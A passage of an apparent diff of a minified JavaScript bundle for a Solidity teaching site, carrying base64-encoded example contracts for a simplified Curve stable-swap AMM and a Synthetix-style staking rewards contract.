4gKyAxKSAvIChuXm4gKiBwICogQW5ebikKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYSA9IEEgKiBOOwogICAgICAgIHVpbnQyNTYgZCA9IF9nZXREKHhwKTsKICAgICAgICB1aW50MjU2IHM7CiAgICAgICAgdWludDI1NiBjID0gZDsKCiAgICAgICAgdWludDI1NiBfeDsKICAgICAgICBmb3IgKHVpbnQyNTYgazsgayA8IE47ICsraykgewogICAgICAgICAgICBpZiAoayA9PSBpKSB7CiAgICAgICAgICAgICAgICBfeCA9IHg7CiAgICAgICAgICAgIH0gZWxzZSBpZiAoayA9PSBqKSB7CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIF94ID0geHBba107CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHMgKz0gX3g7CiA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EKHVpbnQyNTYgaSwgdWludDI1NltOXSBtZW1vcnkgeHAsIHVpbnQyNTYgZCkKICAgICAgICBwcml2YXRlCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgdWludDI1NiBhID0gQSAqIE47CiAgICAgICAgdWludDI1NiBzOwogICAgICAgIHVpbnQyNTYgYyA9IGQ7CgogICAgICAgIHVpbnQyNTYgX3g7CiAgICAgICAgZm9yICh1aW50MjU2IGs7IGsgPCBOOyArK2spIHsKICAgICAgICAgICAgaWYgKGsgIT0gaSkgewogICAgICAgICAgICAgICAgX3ggPSB4cFtrXTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICBzICs9IF94OwogICAgICAgICAgICBjID0gKGMgKiBkKSAvIChOICogX3gpOwogICAgICAgIH0KICAgICAgICBjID0gKGMgKiBkKSAvIChOICogYSk7CiAgICAgICAgdWludDI1NiBiID0gcyArIGQgLyBhOwoKICAgICAgICAvLyBOZXd0b24ncyBtZXRob2QKICAgICAgICB1aW50MjU2IHlfcHJldjsKICAgICAgICAvLyBJbml0aWFsIGd1ZXNzLCB5IDw9IGQKICAgICAgICB1aW50MjU2IHkgPSBkOwogICAgICAgIGZvciAodWludDI1NiBfaTsgX2kgPCAyNTU7ICsrX2kpIHsKICAgICAgICAgICAgeV9wcmV2ID0geTsKICAgICAgICAgICAgeSA9ICh5ICogeSArIGMpIC8gKDIgKiB5ICsgYiAtIGQpOwogICAgICAgICAgICBpZiAoTWF0aC5hYnMoeSwgeV9wcmV2KSA8PSAxKSB7CiAgICAgICAgICAgICAgICByZXR1cm4geTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXZlcnQoInkgZGlkbid0IGNvbnZlcmdlIik7CiAgICB9CgogICAgLy8gRXN0aW1hdGUgdmFsdWUgb2YgMSBzaGFyZQogICAgLy8gSG93IG1hbnkgdG9rZW5zIGlzIG9uZSBzaGFyZSB3b3J0aD8KICAgIGZ1bmN0aW9uIGdldFZpcnR1YWxQcmljZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHVpbnQyNTYgZCA9IF9nZXREKF94cCgpKTsKICAgICAgICB1aW50MjU2IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIHJldHVybiAoZCAqIDEwICoqIERFQ0lNQUxTKSAvIF90b3RhbFN1cHBseTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIDA7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFN3YXAgZHggYW1vdW50IG9mIHRva2VuIGkgZm9yIHRva2VuIGoKICAgICAqIEBwYXJhbSBpIEluZGV4IG9mIHRva2VuIGluCiAgICAgKiBAcGFyYW0gaiBJbmRleCBvZiB0b2tlbiBvdXQKICAgICAqIEBwYXJhbSBkeCBUb2tlbiBpbiBhbW91bnQKICAgICAqIEBwYXJhbSBtaW5EeSBNaW5pbXVtIHRva2VuIG91dAogICAgICovCiAgICBmdW5jdGlvbiBzd2FwKHVpbnQyNTYgaSwgdWludDI1NiBqLCB1aW50MjU2IGR4LCB1aW50MjU2IG1pbkR5KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkeSkKICAgIHsKICAgICAgICByZXF1aXJlKGkgIT0gaiwgImkgPSBqIik7CgogICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBkeCk7CgogICAgICAgIC8vIENhbGN1bGF0ZSBkeQogICAgICAgIHVpbnQyNTZbTl0gbWVtb3J5IHhwID0gX3hwKCk7CiAgICAgICAgdWludDI1NiB4ID0geHBbaV0gKyBkeCAqIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICB1aW50MjU2IHkwID0geHBbal07CiAgICAgICAgdWludDI1NiB5MSA9IF9nZXRZKGksIGosIHgsIHhwKTsKICAgICAgICAvLyB5MCBtdXN0IGJlID49IHkxLCBzaW5jZSB4IGhhcyBpbmNyZWFzZWQKICAgICAgICAvLyAtMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeTAgLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbal07CgogICAgICAgIC8vIFN1YnRyYWN0IGZlZSBmcm9tIGR5CiAgICAgICAgdWludDI1NiBmZWUgPSAoZHkgKiBTV0FQX0ZFRSkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgZHkgLT0gZmVlOwogICAgICAgIHJlcXVpcmUoZHkgPj0gbWluRHksICJkeSA8IG1pbiIpOwoKICAgICAgICBiYWxhbmNlc1tpXSArPSBkeDsKICAgICAgICBiYWxhbmNlc1tqXSAtPSBkeTsKCiAgICAgICAgSUVSQzIwKHRva2Vuc1tqXSkudHJhbnNmZXIobXNnLnNlbmRlciwgZHkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGFkZExpcXVpZGl0eSh1aW50MjU2W05dIGNhbGxkYXRhIGFtb3VudHMsIHVpbnQyNTYgbWluU2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBzaGFyZXMpCiAgICB7CiAgICAgICAgLy8gY2FsY3VsYXRlIGN1cnJlbnQgbGlxdWlkaXR5IGQwCiAgICAgICAgdWludDI1NiBfdG90YWxTdXBwbHkgPSB0b3RhbFN1cHBseTsKICAgICAgICB1aW50MjU2IGQwOwogICAgICAgIHVpbnQyNTZbTl0gbWVtb3J5IG9sZF94cyA9IF94cCgpOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGQwID0gX2dldEQob2xkX3hzKTsKICAgICAgICB9CgogICAgICAgIC8vIFRyYW5zZmVyIHRva2VucyBpbgogICAgICAgIHVpbnQyNTZbTl0gbWVtb3J5IG5ld194czsKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50MjU2IGFtb3VudCA9IGFtb3VudHNbaV07CiAgICAgICAgICAgIGlmIChhbW91bnQgPiAwKSB7CiAgICAgICAgICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2ZlckZyb20oCiAgICAgICAgICAgICAgICAgICAgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgbmV3X3hzW2ldID0gb2xkX3hzW2ldICsgYW1vdW50ICogbXVsdGlwbGllcnNbaV07CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBuZXdfeHNbaV0gPSBvbGRfeHNbaV07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIENhbGN1bGF0ZSBuZXcgbGlxdWlkaXR5IGQxCiAgICAgICAgdWludDI1NiBkMSA9IF9nZXREKG5ld194cyk7CiAgICAgICAgcmVxdWlyZShkMSA+IGQwLCAibGlxdWlkaXR5IGRpZG4ndCBpbmNyZWFzZSIpOwoKICAgICAgICAvLyBSZWNjYWxjdWF0ZSBEIGFjY291bnRpbmcgZm9yIGZlZSBvbiBpbWJhbGFuY2UKICAgICAgICB1aW50MjU2IGQyOwogICAgICAgIGlmIChfdG90YWxTdXBwbHkgPiAwKSB7CiAgICAgICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgTjsgKytpKSB7CiAgICAgICAgICAgICAgICAvLyBUT0RPOiB3aHkgb2xkX3hzW2ldICogZDEgLyBkMD8gd2h5IG5vdCBkMSAvIE4/CiAgICAgICAgICAgICAgICB1aW50MjU2IGlkZWFsQmFsYW5jZSA9IChvbGRfeHNbaV0gKiBkMSkgLyBkMDsKICAgICAgICAgICAgICAgIHVpbnQyNTYgZGlmZiA9IE1hdGguYWJzKG5ld194c1tpXSwgaWRlYWxCYWxhbmNlKTsKICAgICAgICAgICAgICAgIG5ld194c1tpXSAtPSAoTElRVUlESVRZX0ZFRSAqIGRpZmYpIC8gRkVFX0RFTk9NSU5BVE9SOwogICAgICAgICAgICB9CgogICAgICAgICAgICBkMiA9IF9nZXREKG5ld194cyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZDIgPSBkMTsKICAgICAgICB9CgogICAgICAgIC8vIFVwZGF0ZSBiYWxhbmNlcwogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgTjsgKytpKSB7CiAgICAgICAgICAgIGJhbGFuY2VzW2ldICs9IGFtb3VudHNbaV07CiAgICAgICAgfQoKICAgICAgICAvLyBTaGFyZXMgdG8gbWludCA9IChkMiAtIGQwKSAvIGQwICogdG90YWwgc3VwcGx5CiAgICAgICAgLy8gZDEgPj0gZDIgPj0gZDAKICAgICAgICBpZiAoX3RvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQyIC0gZDApICogX3RvdGFsU3VwcGx5KSAvIGQwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQyOwogICAgICAgIH0KICAgICAgICByZXF1aXJlKHNoYXJlcyA+PSBtaW5TaGFyZXMsICJzaGFyZXMgPCBtaW4iKTsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSh1aW50MjU2IHNoYXJlcywgdWludDI1NltOXSBjYWxsZGF0YSBtaW5BbW91bnRzT3V0KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NltOXSBtZW1vcnkgYW1vdW50c091dCkKICAgIHsKICAgICAgICB1aW50MjU2IF90b3RhbFN1cHBseSA9IHRvdGFsU3VwcGx5OwoKICAgICAgICBmb3IgKHVpbnQyNTYgaTsgaSA8IE47ICsraSkgewogICAgICAgICAgICB1aW50MjU2IGFtb3VudE91dCA9IChiYWxhbmNlc1tpXSAqIHNoYXJlcykgLyBfdG90YWxTdXBwbHk7CiAgICAgICAgICAgIHJlcXVpcmUoYW1vdW50T3V0ID49IG1pbkFtb3VudHNPdXRbaV0sICJvdXQgPCBtaW4iKTsKCiAgICAgICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICAgICAgYW1vdW50c091dFtpXSA9IGFtb3VudE91dDsKCiAgICAgICAgICAgIElFUkMyMCh0b2tlbnNbaV0pLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudE91dCk7CiAgICAgICAgfQoKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgfQoKICAgIC8qKgogICAgICogQG5vdGljZSBDYWxjdWxhdGUgYW1vdW50IG9mIHRva2VuIGkgdG8gcmVjZWl2ZSBmb3Igc2hhcmVzCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBJbmRleCBvZiB0b2tlbiB0byB3aXRoZHJhdwogICAgICogQHJldHVybiBkeSBBbW91bnQgb2YgdG9rZW4gaSB0byByZWNlaXZlCiAgICAgKiAgICAgICAgIGZlZSBGZWUgZm9yIHdpdGhkcmF3LiBGZWUgYWxyZWFkeSBpbmNsdWRlZCBpbiBkeQogICAgICovCiAgICBmdW5jdGlvbiBfY2FsY1dpdGhkcmF3T25lVG9rZW4odWludDI1NiBzaGFyZXMsIHVpbnQyNTYgaSkKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYgZHksIHVpbnQyNTYgZmVlKQogICAgewogICAgICAgIHVpbnQyNTYgX3RvdGFsU3VwcGx5ID0gdG90YWxTdXBwbHk7CiAgICAgICAgdWludDI1NltOXSBtZW1vcnkgeHAgPSBfeHAoKTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIGQwIGFuZCBkMQogICAgICAgIHVpbnQyNTYgZDAgPSBfZ2V0RCh4cCk7CiAgICAgICAgdWludDI1NiBkMSA9IGQwIC0gKGQwICogc2hhcmVzKSAvIF90b3RhbFN1cHBseTsKCiAgICAgICAgLy8gQ2FsY3VsYXRlIHJlZHVjdGlvbiBpbiB5IGlmIEQgPSBkMQogICAgICAgIHVpbnQyNTYgeTAgPSBfZ2V0WUQoaSwgeHAsIGQxKTsKICAgICAgICAvLyBkMSA8PSBkMCBzbyB5IG11c3QgYmUgPD0geHBbaV0KICAgICAgICB1aW50MjU2IGR5MCA9ICh4cFtpXSAtIHkwKSAvIG11bHRpcGxpZXJzW2ldOwoKICAgICAgICAvLyBDYWxjdWxhdGUgaW1iYWxhbmNlIGZlZSwgdXBkYXRlIHhwIHdpdGggZmVlcwogICAgICAgIHVpbnQyNTYgZHg7CiAgICAgICAgZm9yICh1aW50MjU2IGo7IGogPCBOOyArK2opIHsKICAgICAgICAgICAgaWYgKGogPT0gaSkgewogICAgICAgICAgICAgICAgZHggPSAoeHBbal0gKiBkMSkgLyBkMCAtIHkwOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gZDEgLyBkMCA8PSAxCiAgICAgICAgICAgICAgICBkeCA9IHhwW2pdIC0gKHhwW2pdICogZDEpIC8gZDA7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgeHBbal0gLT0gKExJUVVJRElUWV9GRUUgKiBkeCkgLyBGRUVfREVOT01JTkFUT1I7CiAgICAgICAgfQoKICAgICAgICAvLyBSZWNhbGN1bGF0ZSB5IHdpdGggeHAgaW5jbHVkaW5nIGltYmFsYW5jZSBmZWVzCiAgICAgICAgdWludDI1NiB5MSA9IF9nZXRZRChpLCB4cCwgZDEpOwogICAgICAgIC8vIC0gMSB0byByb3VuZCBkb3duCiAgICAgICAgZHkgPSAoeHBbaV0gLSB5MSAtIDEpIC8gbXVsdGlwbGllcnNbaV07CiAgICAgICAgZmVlID0gZHkwIC0gZHk7CiAgICB9CgogICAgZnVuY3Rpb24gY2FsY1dpdGhkcmF3T25lVG9rZW4odWludDI1NiBzaGFyZXMsIHVpbnQyNTYgaSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2IGR5LCB1aW50MjU2IGZlZSkKICAgIHsKICAgICAgICByZXR1cm4gX2NhbGNXaXRoZHJhd09uZVRva2VuKHNoYXJlcywgaSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIFdpdGhkcmF3IGxpcXVpZGl0eSBpbiB0b2tlbiBpCiAgICAgKiBAcGFyYW0gc2hhcmVzIFNoYXJlcyB0byBidXJuCiAgICAgKiBAcGFyYW0gaSBUb2tlbiB0byB3aXRoZHJhdwogICAgICogQHBhcmFtIG1pbkFtb3VudE91dCBNaW5pbXVtIGFtb3VudCBvZiB0b2tlbiBpIHRoYXQgbXVzdCBiZSB3aXRoZHJhd24KICAgICAqLwogICAgZnVuY3Rpb24gcmVtb3ZlTGlxdWlkaXR5T25lVG9rZW4oCiAgICAgICAgdWludDI1NiBzaGFyZXMsCiAgICAgICAgdWludDI1NiBpLAogICAgICAgIHVpbnQyNTYgbWluQW1vdW50T3V0CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgKGFtb3VudE91dCwpID0gX2NhbGNXaXRoZHJhd09uZVRva2VuKHNoYXJlcywgaSk7CiAgICAgICAgcmVxdWlyZShhbW91bnRPdXQgPj0gbWluQW1vdW50T3V0LCAib3V0IDwgbWluIik7CgogICAgICAgIGJhbGFuY2VzW2ldIC09IGFtb3VudE91dDsKICAgICAgICBfYnVybihtc2cuc2VuZGVyLCBzaGFyZXMpOwoKICAgICAgICBJRVJDMjAodG9rZW5zW2ldKS50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRPdXQpOwogICAgfQp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],Wb=`

                    Simplified version of Curve's stable swap AMM

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                     
                    @@ -5400,7 +5400,7 @@ Topics
                             external
                             returns (bool);
                     }
                    -
                    `,Wb=({prev:s,next:a})=>r.jsx(A,{version:yb,title:mb,description:bb,cyfrinLink:wb,html:Zb,prev:s,next:a,codes:kb}),Bb="0.8.26",Gb="Staking Rewards",fb="Staking rewards contract based on Synthetix StakingRewards.sol",Vb="",Yb=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1td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IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfc3Rha2luZ1Rva2VuLCBhZGRyZXNzIF9yZXdhcmRUb2tlbikgewogICAgICAgIG93bmVyID0gbXNnLnNlbmRlcjsKICAgICAgICBzdGFraW5nVG9rZW4gPSBJRVJDMjAoX3N0YWtpbmdUb2tlbik7CiAgICAgICAgcmV3YXJkc1Rva2VuID0gSUVSQzIwKF9yZXdhcmRUb2tlbik7CiAgICB9CgogICAgbW9kaWZpZXIgb25seU93bmVyKCkgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lciwgIm5vdCBhdXRob3JpemVkIik7CiAgICAgICAgXzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAg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gICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQy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bmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Xb=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    +`,Gb=({prev:s,next:a})=>r.jsx(A,{version:mb,title:bb,description:wb,cyfrinLink:kb,html:Wb,prev:s,next:a,codes:Zb}),Bb="0.8.26",fb="Staking Rewards",Vb="Staking rewards contract based on Synthetix StakingRewards.sol",Yb="",Xb=[{fileName:"StakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IFN0YWtpbmdSZXdhcmRzIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHN0YWtpbmdUb2tlbjsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHJld2FyZHNUb2tlbjsKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICAvLyBEdXJhdGlvbiBvZiByZXdhcmRzIHRvIGJlIHBhaWQgb3V0IChpbiBzZWNvbmRzKQogICAgdWludDI1NiBwdWJsaWMgZHVyYXRpb247CiAgICAvLyBUaW1lc3RhbXAgb2Ygd2hlbiB0aGUgcmV3YXJkcyBmaW5pc2gKICAgIHVpbnQyNTYgcHVibGljIGZpbmlzaEF0OwogICAgLy8gTWluaW11bSBvZiBsYXN0IHVwZGF0ZWQgdGltZSBhbmQgcmV3YXJkIGZp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XzsKICAgIH0KCiAgICBtb2RpZmllciB1cGRhdGVSZXdhcmQoYWRkcmVzcyBfYWNjb3VudCkgewogICAgICAgIHJld2FyZFBlclRva2VuU3RvcmVkID0gcmV3YXJkUGVyVG9rZW4oKTsKICAgICAgICB1cGRhdGVkQXQgPSBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKTsKCiAgICAgICAgaWYgKF9hY2NvdW50ICE9IGFkZHJlc3MoMCkpIHsKICAgICAgICAgICAgcmV3YXJkc1tfYWNjb3VudF0gPSBlYXJuZWQoX2FjY291bnQpOwogICAgICAgICAgICB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSA9IHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgXzsKICAgIH0KCiAgICBmdW5jdGlvbiBsYXN0VGltZVJld2FyZEFwcGxpY2FibGUoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIF9taW4oZmluaXNoQXQsIGJsb2NrLnRpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmU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AgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMg